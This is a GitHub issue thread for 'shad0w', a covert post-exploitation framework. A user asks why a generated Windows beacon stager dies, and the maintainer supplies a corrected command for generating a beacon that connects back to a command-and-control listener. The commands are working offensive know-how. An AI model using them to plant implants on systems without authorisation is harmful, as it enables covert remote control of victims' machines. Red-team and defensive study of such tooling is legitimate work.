bats3c / shad0w

A post exploitation framework designed to operate covertly on heavily monitored environments
https://blog.dylan.codes/shad0w/
MIT License
2.03k stars 323 forks source link

Generated stager killed #57

Closed merlin123h closed 4 years ago

merlin123h commented 4 years ago

Hi. After successful running of generated .exe stager, its process is killed after about 5 seconds. This is my command for generating stager(beacon). Shad0w beacon -p x64/windows/secure/static -H 127.0.0.1 -P 8080 -f exe -o beacon11.exe

This my command fort listening in mu Ubuntu test server. i want to listen port 440. docker run -v $(pwd):/root/shad0w/.bridge -p 440:440 -p 8080:8080 -p 43334:43334 -it shad0w listen -p 440

Please tell me how to create a exe file as stager which is not killed automatically. Thanks.

bats3c commented 4 years ago

The stager dies as its not able to connect to the C2. This is because you are telling it to connect on port 8080, while the C2 is listening on port 440.

Generate you beacon with shad0w beacon -p x64/windows/secure/static -H <ip address> -P 440 -f exe -o beacon11.exe and it will work. Also don't tell the beacon to connect to 127.0.0.1 unless your C2 is running on the same machine as your beacon.